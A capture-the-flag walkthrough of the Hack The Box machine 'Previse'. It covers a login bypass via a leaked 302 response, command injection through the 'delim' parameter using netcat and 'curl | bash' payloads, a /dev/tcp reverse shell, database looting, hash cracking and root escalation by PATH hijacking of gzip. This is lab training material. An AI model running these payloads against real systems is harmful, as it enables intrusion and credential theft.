# nmap -v -Pn -sSVC -p- -oA nmap/previse

Nmap scan report for
Host is up (0.037s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
|_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Exploring the Web App

Our initial portscan reveals only two open ports (SSH running on port 22 and the Apache web server on port 80). After editing our /etc/hosts file so that we can resolve previse.htb to we navigate to the page and see what appears to be a login portal to a file storage app:

Enumeration with Gobuster

Taking note of the .php file extension we start enumerating further with gobuster to uncover any additional files or folders on the site.

$ gobuster dir -x php -w /opt/SecLists/Discovery/Web-Content/raft-large-files.txt -u http://previse.htb/ -b 404,403
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://previse.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-files.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
2022/01/01 11:45:44 Starting gobuster in directory enumeration mode
/index.php            (Status: 302) [Size: 2801] [--> login.php]
/login.php            (Status: 200) [Size: 2224]                
/download.php         (Status: 302) [Size: 0] [--> login.php]   
/config.php           (Status: 200) [Size: 0]                   
/footer.php           (Status: 200) [Size: 217]                 
/header.php           (Status: 200) [Size: 980]                 
/favicon.ico          (Status: 200) [Size: 15406]               
/logout.php           (Status: 302) [Size: 0] [--> login.php]   
/.                    (Status: 302) [Size: 2801] [--> login.php]
/status.php           (Status: 302) [Size: 2966] [--> login.php]
/nav.php              (Status: 200) [Size: 1248]                
/accounts.php         (Status: 302) [Size: 3994] [--> login.php]
/files.php            (Status: 302) [Size: 4914] [--> login.php]

Reviewing the results we see a bunch of other pages that are mostly giving us a 302 re-direct to the login.php page. Manually checking the ones that give us a 200 result we find the http://previse.htb/nav.php page rather interesting:

Exploiting An Improper Redirect in the PHP Web App

This navigation page doesn’t appear like something we would expect to see prior to being logged into the site. Hovering over the links we find two other pages that weren’t found in our gobuster above: http://previse.htb/accounts.php and http://previse.htb/file_logs.php . Clicking on the links just re-directs us back to the login page; however, taking a look at the request and response in Burp we see something interesting when navigating to the accounts.php page:

We are getting the 302 re-direct but it’s still giving us the contents of the accounts.php page! We scroll through and see a note about how this page should only be viewable by admins.

We can leverage Burp suite to intercept and edit the response from accounts.php page.

After confirming Intercept is on, we navigate to the page again and see that our GET request has been intercepted. We right click on select Do intercept –> Response to this request and then hit the “Forward” button to send this on to the web server.

We get the response and see the 302 re-direct:

We can now change this 302 to a 200 before hitting the Forward button again:

Switching back to our browser we see that we are at the account creation page!

Creating an Account & Logging into the App

We proceed to create an account for ourselves named ‘hacker’ with a password of ‘Password1’

We can then turn off Intercept in Burp suite and proceed to login with our newly created account:

We navigate through the web application and notice that under the Files menu there appears to be a site backup .zip file that we can download:

Source Code Review & Command Injection

After extracting the files from the .zip we start exploring the source code of the site and quickly uncover database credentials in the config.php file.

$ unzip 
  inflating: accounts.php            
  inflating: config.php              
  inflating: download.php            
  inflating: file_logs.php           
  inflating: files.php               
  inflating: footer.php              
  inflating: header.php              
  inflating: index.php               
  inflating: login.php               
  inflating: logout.php              
  inflating: logs.php                
  inflating: nav.php                 
  inflating: status.php              
$ cat config.php 

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;


Further source code review leads us to finding an interesting comment in logs.php and what appears to be a command injection vulnerability:

Whatever we put in the POST parameter ‘delim’ will get passed as an argument to the script. We can leverage Burp suite to intercept and modify the request and try adding a semi-colon to see if we can get code execution.

First, we ensure that Intercept is enabled in Burp suite and then navigate to “LOG DATA” from the MANAGEMENT MENU and then click the SUBMIT button:

We see the intercepted request in Burp and confirm it is making a POST request to logs.php

After we setup a netcat listener on our box we edit the POST request and append ;nc 8000

We hit the Forward button in Burp and quickly get a connection on our box! This indicates the command injection was successful. Now that we’ve confirmed it works we can try to get a full reverse shell.

We create a simple reverse shell payload in a script called and then use Python’s simple HTTPServer to host it.

$ cat 
/bin/bash -i >& /dev/tcp/ 0>&1

With our Python SimpleHTTPServer hosting the script on port 80 and netcat listening for the reverse shell on port 8000, we are ready to leverage Burp suite to edit another request and get code execution.

We add ;curl | bash after the delim parameter to instruct the server to download our reverse shell script and pipe it to bash for execution.

Selecting everything after the delim= and pressing Ctl + U performs URL encoding of key characters:

We press the Forward button in Burp and get our reverse shell running as the www-data account:

Looting the Database

Now that we have a shell on the box we can try using the database credentials we found earlier in config.php to loot the database [ user: root password: mySQL_p@ssw0rd!:) ].

The credentials work and we see what databases are available. Switching to the ‘previse’ database we enumerate the tables and dump everything in the accounts table:

We see the hashed password for an account named ‘m4lwhere’ as well as the ‘hacker’ account we created earlier. We exit out of the database and check the /etc/passwd file to see if there is a user on the box with the same username:

www-data@previse:/var/www/html$ cat /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

Password Cracking with Hashcat

We save m4lwhere’s password hash to a file named hash.txt and run hashcat to crack the password:

$ hashcat -m 500 -a 0 hash.txt /opt/wordlists/rockyou.txt --force --show

Logging in as m4lwhere

Now that we have the password for the m4lwhere account on the Web App we can try SSH’ing into the box to see if the user re-used the same password. It works and we get logged in as m4lwhere!

Privilege Escalation

Before even running any of the standard privilege escalation / enumeration scripts like linPEAS, I like to run sudo -l to see if the user can run anything interesting. Sure enough, there appears to be a custom script the user m4lwhere can run as root: /opt/scripts/

If we can exploit this script somehow we may be able to get code execution as root. First, we check the permissions on the script as well as the content:

We don’t have permission to modify the script so we can’t simply add commands to it to get code execution as root. We do notice; however, that the full path to the gzip binary is not specified. If the sudo configuration is such that it doesn’t reset our environment variables (ie. the env_reset option) we could modify our PATH environment variable and create a trojan version of the gzip binary that would get executed instead of the real gzip.

We proceed to create a script named ‘gzip’ that will copy the bash executable and make it SETUID

After granting everyone rwx permissions to our trojaned gzip script we modify our PATH environment variable to first check in the current working directory. We then execute the script with sudo and it works! We get a copy of bash in our home directory that has the setuid permissions!

We now execute this copy of bash with the -p option and get a root shell!

We now own the box and can print out the flags:

References & Useful Links

ippsec – HackTheBox – Breadcrumbs – (See section on 302 redirect)

Safely handling redirects with die() and exit() in PHP